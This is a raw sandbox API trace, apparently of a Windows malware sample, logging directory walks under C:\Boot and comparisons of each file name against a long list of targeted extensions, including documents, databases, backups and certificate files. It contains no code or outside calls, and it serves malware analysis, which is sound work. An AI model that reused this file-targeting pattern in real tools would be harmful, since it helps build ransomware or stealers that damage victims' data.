lstrlenW (lpString=".jsp") returned 4 [0091.825] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0091.825] lstrlenW (lpString=".kdc") returned 4 [0091.825] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0091.825] lstrlenW (lpString=".kmz") returned 4 [0091.825] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0091.825] lstrlenW (lpString=".kwm") returned 4 [0091.825] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0091.825] lstrlenW (lpString=".lasso") returned 6 [0091.825] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0091.825] lstrlenW (lpString=".lbi") returned 4 [0091.825] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0091.825] lstrlenW (lpString=".lgf") returned 4 [0091.825] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0091.825] lstrlenW (lpString=".lgp") returned 4 [0091.826] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0091.826] lstrlenW (lpString=".log") returned 4 [0091.826] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0091.826] lstrlenW (lpString=".m1v") returned 4 [0091.826] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0091.826] lstrlenW (lpString=".m4a") returned 4 [0091.826] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0091.826] lstrlenW (lpString=".m4v") returned 4 [0091.826] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0091.826] lstrlenW (lpString=".max") returned 4 [0091.826] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0091.826] lstrlenW (lpString=".md") returned 3 [0091.826] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0091.826] lstrlenW (lpString=".mda") returned 4 [0091.826] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0091.826] lstrlenW (lpString=".mdb") returned 4 [0091.826] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0091.826] lstrlenW (lpString=".mde") returned 4 [0091.826] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0091.826] lstrlenW (lpString=".mdf") returned 4 [0091.826] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0091.826] lstrlenW (lpString=".mdw") returned 4 [0091.826] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0091.826] lstrlenW (lpString=".mef") returned 4 [0091.826] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0091.826] lstrlenW (lpString=".mft") returned 4 [0091.826] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0091.826] lstrlenW (lpString=".mfw") returned 4 [0091.827] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0091.827] lstrlenW (lpString=".mht") returned 4 [0091.827] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0091.827] lstrlenW (lpString=".mhtml") returned 6 [0091.827] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0091.827] lstrlenW (lpString=".mka") returned 4 [0091.827] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0091.827] lstrlenW (lpString=".mkidx") returned 6 [0091.827] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0091.827] lstrlenW (lpString=".mkv") returned 4 [0091.827] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0091.827] lstrlenW (lpString=".mos") returned 4 [0091.827] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0091.827] lstrlenW (lpString=".mov") returned 4 [0091.827] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0091.827] lstrlenW (lpString=".mp3") returned 4 [0091.827] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0091.827] lstrlenW (lpString=".mp4") returned 4 [0091.827] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0091.827] lstrlenW (lpString=".mpeg") returned 5 [0091.827] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0091.827] lstrlenW (lpString=".mpg") returned 4 [0091.827] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0091.827] lstrlenW (lpString=".mpv") returned 4 [0091.827] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0091.827] lstrlenW (lpString=".mrw") returned 4 [0091.827] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0091.827] lstrlenW (lpString=".msg") returned 4 [0091.827] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0091.827] lstrlenW (lpString=".mxl") returned 4 [0091.828] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0091.828] lstrlenW (lpString=".myd") returned 4 [0091.828] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0091.828] lstrlenW (lpString=".myi") returned 4 [0091.828] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0091.828] lstrlenW (lpString=".nef") returned 4 [0091.828] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0091.828] lstrlenW (lpString=".nrw") returned 4 [0091.828] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0091.828] lstrlenW (lpString=".obj") returned 4 [0091.828] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0091.828] lstrlenW (lpString=".odb") returned 4 [0091.828] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0091.828] lstrlenW (lpString=".odc") returned 4 [0091.828] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0092.415] lstrlenW (lpString=".odm") returned 4 [0092.415] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0092.415] lstrlenW (lpString=".odp") returned 4 [0092.415] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0092.415] lstrlenW (lpString=".ods") returned 4 [0092.415] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0092.415] lstrlenW (lpString=".oft") returned 4 [0092.415] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0092.415] lstrlenW (lpString=".one") returned 4 [0092.415] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0092.415] lstrlenW (lpString=".onepkg") returned 7 [0092.415] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0092.415] lstrlenW (lpString=".onetoc2") returned 8 [0092.415] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0092.415] lstrlenW (lpString=".opt") returned 4 [0092.415] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0092.415] lstrlenW (lpString=".oqy") returned 4 [0092.415] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0092.415] lstrlenW (lpString=".orf") returned 4 [0092.416] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0092.416] lstrlenW (lpString=".p12") returned 4 [0092.416] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0092.416] lstrlenW (lpString=".p7b") returned 4 [0092.416] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0092.416] lstrlenW (lpString=".p7c") returned 4 [0092.416] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0092.416] lstrlenW (lpString=".pam") returned 4 [0092.416] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0092.416] lstrlenW (lpString=".pbm") returned 4 [0092.416] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0092.416] lstrlenW (lpString=".pct") returned 4 [0092.416] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0092.416] lstrlenW (lpString=".pcx") returned 4 [0092.416] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0092.416] lstrlenW (lpString=".pdd") returned 4 [0092.416] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0092.416] lstrlenW (lpString=".pdf") returned 4 [0092.416] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0092.416] lstrlenW (lpString=".pdp") returned 4 [0092.416] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0092.416] lstrlenW (lpString=".pef") returned 4 [0092.416] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0092.416] lstrlenW (lpString=".pem") returned 4 [0092.416] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0092.416] lstrlenW (lpString=".pff") returned 4 [0092.416] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0092.417] lstrlenW (lpString=".pfm") returned 4 [0092.417] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0092.417] lstrlenW (lpString=".pfx") returned 4 [0092.417] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0092.417] lstrlenW (lpString=".pgm") returned 4 [0092.417] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0092.417] lstrlenW (lpString=".php") returned 4 [0092.417] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0092.417] lstrlenW (lpString=".php3") returned 5 [0092.417] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0092.417] lstrlenW (lpString=".php4") returned 5 [0092.417] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0092.417] lstrlenW (lpString=".php5") returned 5 [0092.417] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0092.417] lstrlenW (lpString=".phtml") returned 6 [0092.417] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0092.417] lstrlenW (lpString=".pict") returned 5 [0092.417] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0092.417] lstrlenW (lpString=".pl") returned 3 [0092.417] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0092.417] lstrlenW (lpString=".pls") returned 4 [0092.417] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0092.417] lstrlenW (lpString=".pm") returned 3 [0092.417] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0092.417] lstrlenW (lpString=".png") returned 4 [0092.417] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0092.417] lstrlenW (lpString=".pnm") returned 4 [0092.418] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0092.418] lstrlenW (lpString=".pot") returned 4 [0092.418] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0092.418] lstrlenW (lpString=".potm") returned 5 [0092.418] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0092.418] lstrlenW (lpString=".potx") returned 5 [0092.418] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0092.418] lstrlenW (lpString=".ppa") returned 4 [0092.418] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0092.418] lstrlenW (lpString=".ppam") returned 5 [0092.418] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0092.418] lstrlenW (lpString=".ppm") returned 4 [0092.418] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0092.418] lstrlenW (lpString=".pps") returned 4 [0092.418] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0092.418] lstrlenW (lpString=".ppsm") returned 5 [0092.418] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0092.418] lstrlenW (lpString=".ppt") returned 4 [0092.418] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0092.418] lstrlenW (lpString=".pptm") returned 5 [0092.418] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0092.418] lstrlenW (lpString=".pptx") returned 5 [0092.418] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0092.418] lstrlenW (lpString=".prn") returned 4 [0092.418] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0092.419] lstrlenW (lpString=".ps") returned 3 [0092.419] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0092.419] lstrlenW (lpString=".psb") returned 4 [0092.419] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0092.419] lstrlenW (lpString=".psd") returned 4 [0092.419] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0092.419] lstrlenW (lpString=".pst") returned 4 [0092.419] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0092.419] lstrlenW (lpString=".ptx") returned 4 [0092.419] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0092.419] lstrlenW (lpString=".pub") returned 4 [0092.419] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0092.419] lstrlenW (lpString=".pwm") returned 4 [0092.419] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0092.419] lstrlenW (lpString=".pxr") returned 4 [0092.419] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0092.419] lstrlenW (lpString=".py") returned 3 [0092.419] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0092.419] lstrlenW (lpString=".qt") returned 3 [0092.419] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0092.419] lstrlenW (lpString=".r3d") returned 4 [0092.419] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0092.419] lstrlenW (lpString=".raf") returned 4 [0092.419] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0092.419] lstrlenW (lpString=".rar") returned 4 [0092.420] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0092.420] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0092.420] FindClose (in: hFindFile=0x4260650 | out: hFindFile=0x4260650) returned 1 [0092.420] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0092.420] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0092.420] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0092.420] lstrlenW (lpString="C:\\Boot\\hu-HU") returned 13 [0092.421] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0092.421] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.421] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0092.421] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0092.421] lstrlenW (lpString=".1cd") returned 4 [0092.421] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0092.421] lstrlenW (lpString=".3ds") returned 4 [0092.421] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0092.421] lstrlenW (lpString=".3fr") returned 4 [0092.421] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0092.421] lstrlenW (lpString=".3g2") returned 4 [0092.421] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0092.421] lstrlenW (lpString=".3gp") returned 4 [0092.422] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0092.422] lstrlenW (lpString=".7z") returned 3 [0092.422] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0092.422] lstrlenW (lpString=".accda") returned 6 [0092.422] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0092.422] lstrlenW (lpString=".accdb") returned 6 [0092.422] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0092.422] lstrlenW (lpString=".accdc") returned 6 [0092.422] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0092.422] lstrlenW (lpString=".accde") returned 6 [0092.423] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0092.423] lstrlenW (lpString=".accdt") returned 6 [0092.423] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0092.423] lstrlenW (lpString=".accdw") returned 6 [0092.423] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0092.423] lstrlenW (lpString=".adb") returned 4 [0092.423] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0092.423] lstrlenW (lpString=".adp") returned 4 [0092.423] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0092.423] lstrlenW (lpString=".ai") returned 3 [0092.423] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0092.423] lstrlenW (lpString=".ai3") returned 4 [0092.423] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0092.423] lstrlenW (lpString=".ai4") returned 4 [0092.423] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0092.423] lstrlenW (lpString=".ai5") returned 4 [0092.423] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0092.423] lstrlenW (lpString=".ai6") returned 4 [0092.423] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0092.423] lstrlenW (lpString=".ai7") returned 4 [0092.423] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0092.423] lstrlenW (lpString=".ai8") returned 4 [0092.423] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0092.423] lstrlenW (lpString=".anim") returned 5 [0092.423] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0092.423] lstrlenW (lpString=".arw") returned 4 [0092.423] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0092.423] lstrlenW (lpString=".as") returned 3 [0092.424] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0092.424] lstrlenW (lpString=".asa") returned 4 [0092.424] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0092.424] lstrlenW (lpString=".asc") returned 4 [0092.424] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0092.424] lstrlenW (lpString=".ascx") returned 5 [0092.424] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0092.424] lstrlenW (lpString=".asm") returned 4 [0092.424] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0092.424] lstrlenW (lpString=".asmx") returned 5 [0092.424] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0092.424] lstrlenW (lpString=".asp") returned 4 [0092.424] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0092.424] lstrlenW (lpString=".aspx") returned 5 [0092.424] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0092.424] lstrlenW (lpString=".asr") returned 4 [0092.424] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0092.424] lstrlenW (lpString=".asx") returned 4 [0092.424] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0092.424] lstrlenW (lpString=".avi") returned 4 [0092.424] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0092.424] lstrlenW (lpString=".avs") returned 4 [0092.424] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0092.424] lstrlenW (lpString=".backup") returned 7 [0092.424] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0092.424] lstrlenW (lpString=".bak") returned 4 [0092.424] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0092.425] lstrlenW (lpString=".bay") returned 4 [0092.425] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0092.425] lstrlenW (lpString=".bd") returned 3 [0092.425] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0092.425] lstrlenW (lpString=".bin") returned 4 [0092.425] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0092.425] lstrlenW (lpString=".bmp") returned 4 [0092.425] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0092.425] lstrlenW (lpString=".bz2") returned 4 [0092.425] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0092.425] lstrlenW (lpString=".c") returned 2 [0092.425] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0092.425] lstrlenW (lpString=".cdr") returned 4 [0092.425] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0092.425] lstrlenW (lpString=".cer") returned 4 [0092.425] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0092.425] lstrlenW (lpString=".cf") returned 3 [0092.425] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0092.425] lstrlenW (lpString=".cfc") returned 4 [0092.425] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0092.425] lstrlenW (lpString=".cfm") returned 4 [0092.425] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0092.425] lstrlenW (lpString=".cfml") returned 5 [0092.425] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0092.425] lstrlenW (lpString=".cfu") returned 4 [0092.425] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0092.425] lstrlenW (lpString=".chm") returned 4 [0092.425] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0092.426] lstrlenW (lpString=".cin") returned 4 [0092.426] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0092.426] lstrlenW (lpString=".class") returned 6 [0092.426] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0092.426] lstrlenW (lpString=".clx") returned 4 [0092.426] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0092.426] lstrlenW (lpString=".config") returned 7 [0092.426] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0092.426] lstrlenW (lpString=".cpp") returned 4 [0092.426] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0092.426] lstrlenW (lpString=".cr2") returned 4 [0092.426] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0092.426] lstrlenW (lpString=".crt") returned 4 [0092.426] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0092.426] lstrlenW (lpString=".crw") returned 4 [0092.426] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0092.426] lstrlenW (lpString=".cs") returned 3 [0092.426] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0092.426] lstrlenW (lpString=".css") returned 4 [0092.426] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0092.426] lstrlenW (lpString=".csv") returned 4 [0092.426] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0092.426] lstrlenW (lpString=".cub") returned 4 [0092.426] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0092.426] lstrlenW (lpString=".dae") returned 4 [0092.426] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0092.426] lstrlenW (lpString=".dat") returned 4 [0092.427] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0092.427] lstrlenW (lpString=".db") returned 3 [0092.427] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0092.427] lstrlenW (lpString=".dbf") returned 4 [0092.427] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0092.427] lstrlenW (lpString=".dbx") returned 4 [0092.427] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0092.427] lstrlenW (lpString=".dc3") returned 4 [0092.427] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0092.427] lstrlenW (lpString=".dcm") returned 4 [0092.427] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0092.427] lstrlenW (lpString=".dcr") returned 4 [0092.427] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0092.427] lstrlenW (lpString=".der") returned 4 [0092.427] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0092.427] lstrlenW (lpString=".dib") returned 4 [0092.427] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0092.427] lstrlenW (lpString=".dic") returned 4 [0092.427] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0092.427] lstrlenW (lpString=".dif") returned 4 [0092.427] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0092.427] lstrlenW (lpString=".divx") returned 5 [0092.427] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0092.427] lstrlenW (lpString=".djvu") returned 5 [0092.427] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0092.427] lstrlenW (lpString=".dng") returned 4 [0092.427] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0092.428] lstrlenW (lpString=".doc") returned 4 [0092.428] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0092.428] lstrlenW (lpString=".docm") returned 5 [0092.428] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0092.428] lstrlenW (lpString=".docx") returned 5 [0092.428] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0092.428] lstrlenW (lpString=".dot") returned 4 [0092.428] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0092.428] lstrlenW (lpString=".dotm") returned 5 [0092.428] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0092.428] lstrlenW (lpString=".dotx") returned 5 [0092.428] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0092.428] lstrlenW (lpString=".dpx") returned 4 [0092.428] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0092.428] lstrlenW (lpString=".dqy") returned 4 [0092.428] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0092.428] lstrlenW (lpString=".dsn") returned 4 [0092.428] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0092.428] lstrlenW (lpString=".dt") returned 3 [0092.428] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0092.428] lstrlenW (lpString=".dtd") returned 4 [0092.428] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0092.428] lstrlenW (lpString=".dwg") returned 4 [0092.428] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0092.428] lstrlenW (lpString=".dwt") returned 4 [0092.428] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0092.428] lstrlenW (lpString=".dx") returned 3 [0092.428] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0092.428] lstrlenW (lpString=".dxf") returned 4 [0092.428] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0092.428] lstrlenW (lpString=".edml") returned 5 [0092.428] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0092.429] lstrlenW (lpString=".efd") returned 4 [0092.429] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0092.429] lstrlenW (lpString=".elf") returned 4 [0092.429] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0092.429] lstrlenW (lpString=".emf") returned 4 